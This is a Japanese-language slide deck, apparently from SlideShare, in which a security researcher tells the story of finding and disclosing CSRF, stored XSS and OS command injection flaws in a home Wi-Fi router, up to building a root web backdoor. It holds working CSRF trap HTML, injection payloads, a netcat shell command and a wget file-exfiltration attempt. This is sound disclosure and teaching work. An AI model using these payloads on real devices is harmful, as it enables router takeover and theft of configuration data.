Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

The vulnerabilities never bothered me anyway

2,107 views

Published on

security

Published in: Engineering
  • Be the first to comment

The vulnerabilities never bothered me anyway

  1. 1. ー 脆弱性なんかに負けない ー The vulnerabilities never bothered me anyway 1
  2. 2. 本資料に記載した行為を自身の管理下にないネット ワーク/コンピューターに行った場合は、攻撃行為と 判断される場合があります。最悪の場合、法的措置を 取られる可能性もあります。 検査行為は、自身の管理下にあるネットワークやサー バーまたは管理者から許可をとった環境に対してのみ 行ってください。 2 ご注意!!
  3. 3. 3 Satoshi Ogawa(小河哲之) Twitter: abend アルコール摂取に余念がないセキュリティエンジ ニア Burp Suite Japan User Group ISOG WG1 OWASP要件定義WG NO DRINK, NO HACK!
  4. 4. 4 本資料は、脆弱性の発見、改修確認までを 「とあるストーリー」に則り、紹介するもの です。 CVE-2014-9284 http://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-000085.html CVE-2016-1134 http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-000005.html CVE-2016-1135 http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-000006.html
  5. 5. 5 とある雪国の女王様がご自宅にある無線LANルーター の設定内容を確認していて、ふと思った・・・
  6. 6. 6 無線LANルーターのセキュリティ対策はどうな んだろう?ちょっと、遊んでみよう。 「エ○サ、遊ぼうよ」
  7. 7. 7 ちょっと遊んだらレスポンスがなくなり、白 くなった。 ♪「真っ白な世界にひとりの私」
  8. 8. 8 なんか、alertあがってるし、どうしたもの か。。。 ♪ 「誰にも打ち明けずに悩んでた」
  9. 9. 9 他にもアナがあるんじゃないかと思い、いろ いろと試してみた。 ♪ 「このままじゃだめなんだと」 ① Webアプリケーション診断(手動で実施) ② ネットワーク診断(nmap、OpenVASとか)
  10. 10. 10 いろいろとWebアプリケーションの脆弱性があった。 ③ OSコマンドインジェクション ⇒Webサーバ(無線ルータ)のOSコマンドを不正に実行されて しまう。 ① CSRF ⇒利用者が意図していない処理を実行させられてしまう。 ② XSS ⇒任意のスクリプト実行やタグを埋め込まれてしまう。
  11. 11. 11 ① CSRF(クロスサイトリクエストフォージェリ) 攻撃者が用意した罠サイトにアクセスすることで、利用者が 意図しないリクエストを発行し、処理が実行させられてしま う。 Application Server 利用者 攻撃者 意図していないリクエストを発行 攻撃者が用意した罠サイト ※ 一般的な説明
  12. 12. 12 トークン(9桁の数字)があり、値を変更す るとエラーとなり、CSRFの攻撃が成立しない。 トークン 9桁の数字 CSRFの対策が取られている。
  13. 13. 13 だが・・・ パラメータごと削除すると処理が実行される。 トークン 9桁の数字 パラメータの存在確認がされていない。 実行
  14. 14. 14 以下のPOSTデータを例にとると・・・ param1=1&token=XXXXXXXXXXXX param1=1&token=XXXXXXXXXXXX param1=1&token=XXXXXXXXXXXY 値の変更や”なし”にした場合はエラーとなる。 削除
  15. 15. 15 だが、パラメータを削除されるとCSRFできる。 param1=1&token=XXXXXXXXXXXX パラメータの値の等比確認しているが、パラ メータの存在確認は行われていない。 そのため、パラメータを消すとトークンの確 認を迂回できてしまう。 削除
  16. 16. 16 ほぼすべての機能に脆弱性が存在すると思わ れる。悪用された場合、影響が大きい。 ・ 任意のパスワード変更 ・ 初期化 ・ ポートフォワード設定 など
  17. 17. 17 たとえば、rebootする機能を実行するように罠 を用意して、rebootにかかる時間+αの時間後に 再度rebootするというにすれば、rebootの無限 ループ!! Reboot中 Reboot中正常動作 CSRF CSRF
  18. 18. 18 <html> <body> <script type="text/javascript"> setInterval(function(){document.frm.submit()},3000); </script> <form name="frm" target="frame" action="http://xxxxx/init.html" method="POST"> <input type="hidden" name="nosave_reboot" value="1"> </form> <iframe name="frame"></iframe> </body> </html> って、思ったが、再起動後、BASIC認証が発生 するので定期的な攻撃は成立しない。
  19. 19. 19 ② XSS Cookieは使用していないので盗まれることはないがStored XSS が存在しており、永続的に被害にあう可能性がある。
  20. 20. 20 Reflection XSSやStored XSSとは? XSSを分類するとタイプは3つあります。 1. Reflected XSS (反射型) 2. Stored XSS (格納型) 3. DOM based XSS (DOM型) 『DOM Based XSS』に関するレポート https://www.ipa.go.jp/files/000024729.pdf ※XSSの分類についても記載されています。
  21. 21. 21 1. Reflected XSS メールやページ 書込みによるリンク script Application Server 利用者 攻撃者 メールなどを用いて、XSSが発現するようなリンクを 利用者にアクセスさせることで、悪用が可能。 ※ 一般的な説明
  22. 22. 22 2. Stored XSS 事前にXSSを引き起こさせる文字列を、(攻撃対象で ある)掲示板などへ埋め込み、利用者にアクセスさ せるだけで悪用可能。 script Application Server 利用者 攻撃者 ※ 一般的な説明
  23. 23. 23 3. DOM Based XSS メールなどを用いて、XSSが発現するようなリンクを利用者 にアクセスさせ、JavaScriptの不備を悪用。サーバにログを残 さずに悪用可能。 メールやページ 書込みによるリン ク Application Server 利用者 攻撃者 script 利用者のブラウザ上で実行 ※ 一般的な説明
  24. 24. 24 管理者アカウントが1つしかなく、アカウント 追加ができない。BASIC認証もあるし。 自分でXSSを仕掛けて自分で引っかかる自作自 演かself XSSの可能性しかない。
  25. 25. 25 だが、利用者を誘導してXSSが起こるパターン を入力させてもJavaScriptでvalidationされてい るため、XSSできない。 つまり、XSSを悪用される可能性がほぼない。
  26. 26. 26 CSRF feat. Stored XSS 複数の脆弱性を組み合わせると、ちょっと変 わる。CSRFとXSSを組み合わせて・・・
  27. 27. 27 <流れ> ①ルータのセッションが有効な状態で利用者 にCSRFの罠へアクセスさせる。 ②CSRFが発動(XSSを引き起こす文字列を挿 入)。 ③利用者がアクセスするたびにXSSが引き起 こされる。
  28. 28. 28 リクエスト(通常時)は POST /ap.html HTTP/1.1 Host: xxx Content-Type: application/x-www-form-urlencoded Content-Length: 42 DeviceName=hostname&NetworkServiceEnable=1 <table class="AD_SET"> <tr> <th>エアステーション名</th> <td> <input type="text" name="DeviceName" size="30" maxlength="64" value='hostname'> </td> </tr> </table> その結果を表示するレスポンス(抜粋)は ここに出力される。 入力した内容
  29. 29. 29 XSSを引き起こす文字列(赤字)を登録するよ うなCSRFの罠へ利用者をアクセスさせる。 ~抜粋~ <form action=“http://xxxxxxx/ap.html” method=“post”> <input type=“hidden” name=“DeviceName” value=“hostname’><script>alert(‘XSS’)</script>”> <input type=“hidden” name=“NetworkServiceEnable” value=“1”> </form>
  30. 30. 30 その結果(抜粋)・・・ 登録されたデータを変更しない 限り、アクセスするたびにXSSが 引き起こされる。 <input type="text" name="DeviceName" size="30" maxlength="64" value='hostname'><script>alert('XSS‘)</script>'> Scriptタグが挿入され、任意のスクリプ トが実行してしまう。
  31. 31. 31 アクセスしただけでrebootもできるようになる。 ~抜粋~ <form name="frm" target="frame" action="http://xxxxx/ap.html" method="POST"> <input type="hidden" name="DeviceName" value="host'></form><form name='f' action='init.html' method='post'><input type='hidden' name='nosave_reboot' value='1'></form><script>document.f.submit();</script>"> <input type="hidden" name="NetworkServiceEnable" value="1"> </form>
  32. 32. 32 XSSだけでは悪用される可能性は低かった。 仕込んだの忘れてた結果、身をもって試すことと なった。
  33. 33. 33 ただし、攻撃を成功させるためには、CSRFが成功し ないといけない。CSRFを成功させるには・・・ 条件① ルータのセッションが有効な間に利用者が 罠にアクセスする。 条件② 罠で設定するPOST先のIPアドレスを事前に推 測する。
  34. 34. 34 ③ OSコマンドインジェクション WebサーバのOSコマンドインジェクションが実行可 能。 Application Server 攻撃者 OSコマン ド ※ 一般的な説明
  35. 35. 35 外部に対して疎通確認のためのping送信機能が あるが、そこにOSコマンドインジェクション が存在する。
  36. 36. 36 sleepコマンドで指定する時間分のタイムウエ イトが発生する。ただし、任意のコマンドが 通るわけではなさそう。 >_ OSコマンド実行
  37. 37. 入力内容によりレスポンスの応答時間が変化 する。 192.168.1.1 | sleep 1 192.168.1.1 | sleep 10 →10.129secかかった。 →1.134secかかった。 37
  38. 38. 38 CSRF feat. OSコマンドインジェクション で・・・<html> <script> function init(){ document.form[0].submit(); }; </script> <body onload="init();"> <form action="http://xxxxxxxxxxx/ping.html" method="post"> <input type="hidden" name="ping_ipaddress" value="1;reboot"> </form> </body> </html> 脆弱性をついて再起動というイケてる仕様。 OSコマンドインジェクショ ン
  39. 39. 39 ちゃんと活用していました。
  40. 40. 40 様々な箇所で、複数の脆弱性が存在している。 validationをJavaScriptでやっており、セキュリ ティ実装が・・・って思ってしまう作り。
  41. 41. 41 ♪ 「The vulnerabilities never bothered me anyway」 脆弱性なんて気にしない ただ、ここまで来ると
  42. 42. 42 そんな訳はなく 脆弱性関連情報の届け先へ連絡。
  43. 43. 43 流れとしては、ざっくりこんな感じ。 ①脆弱性を受理してもらう。 ②ベンダに通知してもらう。 ③ベンダが直す。 ④改修確認する。 ⑤公開!!
  44. 44. 44 OSコマンドインジェクションでどこまでやれ るのか気になったので・・・ ♪ 「どこまでやれるか自分を試したいの」 shellとれるか、試したかった。
  45. 45. 45 下記をチャレンジしてみた。 ・ OSコマンドインジェクションを悪用して ncコマンドなどでshell奪取を試行 ・ 使用しているアプリの脆弱性をつく(CVE- 2014-6271などを試行) 結果は・・・ だめだったorz
  46. 46. 46 しばらくしてIPAからメールがきた。 (2014年9月頃) ② XSS → 脆弱性認定キター ① CSRF → 脆弱性認定キター ③ OSコマンドインジェクション → 不受 理
  47. 47. 47 は?
  48. 48. 48 受理しないとする先方のメールを要約すると ・ 管理画面上で操作できる内容のコマンド しか確認できていない。 ・ 確認できているコマンドではCIAに影響を 及ぼさない。 ・ 実行するにはログインすることが前提 (ユーザも1つしかない)。
  49. 49. (確認できたのが) ping、reboot、sleep、 echo、dateのみしかOSコマンドインジェクショ ンができないだけだと脆弱性として認めてく れないらしい。 49
  50. 50. rebootは通るが(shutdownやhaltなどによる停 止ができなかった)、画面上で再起動ボタン があるので、「脆弱性ではない」ということ みたいです。 50
  51. 51. 51 ところで、CIAっ て??
  52. 52. 52 完全性 (Integrity) 情報が破壊、改ざん又は消去されていない状態を確保すること 機密性 (Confidentiality) 情報へのアクセスを認められた者だけが、その情報にアクセスできる状態 を確保すること 可用性 (Availability) 情報へのアクセスを認められた者が、必要時に中断することなく、情報及 び関連資産にアクセスできる状態を確保すること By wikipedia
  53. 53. 53 機密性 (confidentiality) (個人的な見解です)今回のOSコマンドインジェク ションの場合・・・ 利用者(管理者)が1名しかおらず追加できない環境 で、その利用者がもともとアクセス可能な情報にア クセスができる。認証の迂回やなりすましなどによ り他の利用者がアクセスできるわけではない。
  54. 54. 54 完全性 (integrity) NTPサーバの設定変更は可能だが、別な画面でもとも と変更する機能が実装されており、情報の破壊、改 ざんなどができたわけではない。ただ、開発者が意 図しない箇所で変更できてしまっている。 (個人的な見解です)今回のOSコマンドインジェク ションの場合・・・。
  55. 55. 55 可用性 (availability) (個人的な見解です)今回のOSコマンドインジェク ションの場合・・・。 認められた利用者がアクセスできており、それを阻 害することはできなかった。リブートできるけ ど。。。
  56. 56. 56 うーん、CIAに影響してないかと言われると微 妙な感じ・・・。 開発者が意図していない箇所で、期待してい る動作以外のコマンドを実行できることはセ キュリティ上、好ましくいと思うので、受理 してもらうために更なる調査を開始。
  57. 57. 57 wgetコマンド、rmコマンドなども動作可能で あることを確認。 なので、偽のコンテンツを取得し、ルータ上 に存在するコンテンツと差し替えることが可 能。
  58. 58. いろんなコマンドを試してみた。 bash cat cp echo ftp halt init iptables kill less ls more nc netstat ntp ping ps pwd reboot rm shutdown telnet touch wget ※赤字が動作確認できたコマンド 58
  59. 59. 59 ということで、再度検討してもらった。 結果、受理!!(2015年1月)
  60. 60. 60 IPAから連絡来ていないけど、ある日ベンダ ページ見たら、直ったとリリースされていた。
  61. 61. 61 発見した製品以外にも、存在していたようで す。予想通りですが。
  62. 62. 62 ん?ちょっと待て。CSRFの脆弱性の説明 が・・・。 「悪意のあるスクリプトが組み込まれたウェブページ にアクセスした際、掲示板に意図しない書き込みをさ せられたり、オンラインショップで買い物をさせられ たりする。」
  63. 63. 63 一般的なCSRFの説明も併記されており、誤解 を招くと思います。 そんなことありません。 ルータの設定を変更させられてしまう可能性 がありますが、掲示板への書き込みやオンラ インショップでの買い物はできません。
  64. 64. 64 ベンダが改修したと言っているので、改修確 認をやってみた。 ② XSS → alertがあがった ① CSRF → なおった ③ OSコマンドインジェクション → な おった
  65. 65. 65 ♪「このままじゃ ダメなんだと」 報告時と何も変化がないように見える。。。
  66. 66. 66 約11か月後、サイトを見たら新しいバージョン がリリースされていたので再度試してみた。 「<」、「>」は出力されなくなっていた。
  67. 67. 67 入力内容を変えてみた。 ' onmouseover='alert() '><script>alert()</script>
  68. 68. 68 ♪「このままじゃ ダメなんだと」 ま、まさか
  69. 69. 69 さらに約1か月後、また新しいバージョンがリ リースされていたので、再度試してみたら、 やっと直っていた。 長かった。
  70. 70. 70 OSコマンドインジェクションの件、記事に なっていた。
  71. 71. まとめ 71
  72. 72. 72 外部に対して、公開を想定されていなかった製品だ と、XSSのような脆弱性は多数存在すると思う。ただ、 公開されているわけではないため、XSSを悪用される 可能性は低いが。 医療機器や工場などで稼働する製品でも同じことが 言えるのではないだろうか。
  73. 73. 73 2014年7月21日に一番最初に報告したので、1年半か かった。長かったが、全部直していただいて、利用 者として良かったです。 ♪ 「The vulnerabilities never bothered me anyway」 脆弱性なんかに負けない
  74. 74. 74 ちなみに、当該映画は見 たことがないです。 ※本資料は、「Let it go」の歌詞を一部引用しています。
  75. 75. 実はまだ終わらないんです。 75
  76. 76. rootでshellを取るという仕事が 残っているんですよ。 76
  77. 77. なので・・・ 77
  78. 78. 世界に1つだけのroot 78
  79. 79. Analysis1 79 再度、情報収集とこれまでの内容を見 直してみることにした。 echoで任意の文字列が出力できなかっ たので、もう一度調べてみた。
  80. 80. Analysis2 80 以下、文字列が出力されるのを確認してい た。 1|echo '1 bytes from 1.1.1.1: seq=0 ttl=1 time=9999ms' ping結果を出力する機能なので、出力形式 のチェックをしているのではないかと推測 される。 1|echo 'hello' 以下では、出力されなかった。 1|echo $SHELL
  81. 81. Analysis3 81 出力形式のチェックはどこまで厳格なって いるのか1byteづつ削ったりして試してみた。 1|echo 'seq=' 最終的にこの赤字箇所があれば、画面出力 される。 1|echo '1 bytes from 1.1.1.1: seq=0 ttl=1 time=9999ms'
  82. 82. Analysis5 82 pingの出力バリデーション、 全然関係ねーじゃんと気づく。
  83. 83. Analysis6 83 画面出力ができるようになったので、以前 ダメだったコマンドを再度試してみた。 1| echo 'seq='+`ls` 表示されるようになった。ただし、 58byte分のみ。
  84. 84. Analysis7 84 環境変数も見れている。 1| echo 'seq='+`echo $SHELL`
  85. 85. Analysis8 85 どんなコマンドが実行可能か調査してみた。 1| echo 'seq='+`ls /bin` 全部表示されない。
  86. 86. Analysis9 86 なので、こんな感じでアルファベットすべ て確かめればコマンドの洗い出しができる。 1| echo 'seq='+`ls /bin | grep ^a` ただ、手動で試すのはめんどくさい。
  87. 87. Analysis10 87 BurpのIntruder機能を使ってみる。
  88. 88. Analysis11 88 BurpのIntruder機能は、色々なパターンを自 動的にテストしたりするのに便利で、以下 の流れになる。 ① リクエストをIntruderにセット。 ② Positionsでテストしたい箇所を指定。 ③ Payloadでテストするパターンをセッ トし、Go Attackを押下。 ④ 結果の確認。
  89. 89. Analysis12 89 テストしたい箇所を選択して、Addすると テスト箇所としてBurpが認識します。
  90. 90. Analysis13 90 テストしたいパターンをセットする。今回 はアルファベットのみだが、任意の文字列 を指定可能。
  91. 91. Analysis14 91 テストごとでレスポンスを確認可能。 Content-Lengthが一覧化されており、差分の 有無を確認しやすくなっている。
  92. 92. Analysis15 92 その結果、以下のコマンドが実行可能。 /bin acl ap_serv ac ated ash brctl busybox cp cat chmod df dnsmasq dd date echo eraseall erase gzip gpio grep hw_nat hostname iwconfig iwpriv iptables kill lld2d login ln ls mtr mv mtd_write mknod mount mii_mgr mkdir netstat openssl ps ping pwd pidof rm reg sleep switch sh sed tc touch tar uname umount uboot_env vi wscd /sbin arping basename cut ccf_checkLicenseStatus dumpleases ether-wake expr ifilter_checkLicense.sh killall nslookup printf pscan tail top tproxy tftp test unzip uptime wget wc xargs /usr/bin config-vlan.sh config.sh halt ifconfig init insmod klogd lsmod mdev pppoe-relay poweroff reboot rmmod route syslogd udhcpc vconfig wd_keepalive
  93. 93. Analysis16 93 initやtouchなど試したが駄目だったと判断 した理由は以下だと思う。 ・ typoの可能性 ・ レスポンスだけで動作確認ができなかっ た
  94. 94. Analysis17 94 拡張子がhtml以外のコンテンツはアクセス できず、適当なhtmlファイルでも200 OKと なってしまう仕様から動作の確認に至らな かった。
  95. 95. Analysis18 95 以前、shellshockの確認を行ったが、脆弱 性は存在しなかった。 そもそも/bin/shと/bin/ash($SHELLは /bin/sh)なので、存在するわけがない。
  96. 96. Analysis19 96 opensslが存在するが、ルータの管理画面 はhttpsではなく、どこにも使っていないと 思う。 heartbleedできる可能性もあるので、バー ジョン確認したら0.9.8eだったので、そっ と閉じた。
  97. 97. Analysis20 97 /binにあるコマンドをls –lで見てみると、 多くが/bin/busyboxにlinkされていた。 lrwxrwxrwx 1 0 0 7 mkdir -> busybox lrwxrwxrwx 1 0 0 7 grep -> busybox lrwxrwxrwx 1 0 0 7 date -> busybox lrwxrwxrwx 1 0 0 7 sed -> busybox
  98. 98. Analysis21 98 busyboxはLinuxコマンドを詰め合わせたも ので、組み込み機器などで利用されている ようです。 1| echo 'seq='+`/bin/busybox ls` 使い方は以下のように、実行したいコマン ドを引数として渡すと実行される。
  99. 99. Analysis22 99 ncのlinkがないだけかもしれないので、再 度ncを用いたshellの取得を試してみた。 1| echo 'seq='+`/bin/busybox nc –c /bin/sh –l –p 8888` 両方ともダメだった。lnで/bin/ncでも試し てみたがやはりだめだった。 1| echo 'seq='+`/bin/busybox nc IPアドレス 8888`
  100. 100. Analysis23 100 設定ファイルなどを簡単にゲットする方法 を考えてみた。 受け側でPOSTデータを出力すれば、簡単に ファイルをゲットできるが、「--post-file」 などのオプションを認識しないため、ゲッ トできず。 1| echo ‘seq='+`wget http://IPアドレス --post-file=ファイル`
  101. 101. Analysis24 最初はこんな感じでやり始めた。 上記のパターンで確認し、1行が58byte以上 の場合、cutした。 1| echo 'seq='+`cat ファイル | tail –n X` 101
  102. 102. Analysis25 あまりにもめんどくさいので、ほかの方法 を考えた。 拡張子がhtmlであればアクセスできるので、 簡単に設定を参照可能。 1| echo 'seq='+`cp ファイル test.html` 102
  103. 103. Analysis26 あっ!!!! 103
  104. 104. Analysis27 コマンドの実行結果をhtmlファイルにリダ イレクションすれば、58byteの制約なんて 関係ないじゃんと気づく。 104
  105. 105. Independent1 入力されたコマンドをセットして、結果を 特定のhtmlに出力する。そのhtmlを見れば コマンド結果がわかる。 105
  106. 106. Independent5 コマンドを入力してEnterすると実行される。 これでroot権限で稼働するバックドアが完 成。 106
  107. 107. さいごに 107 No.1にならなくてもいい rootはもともと特別なOnly one

×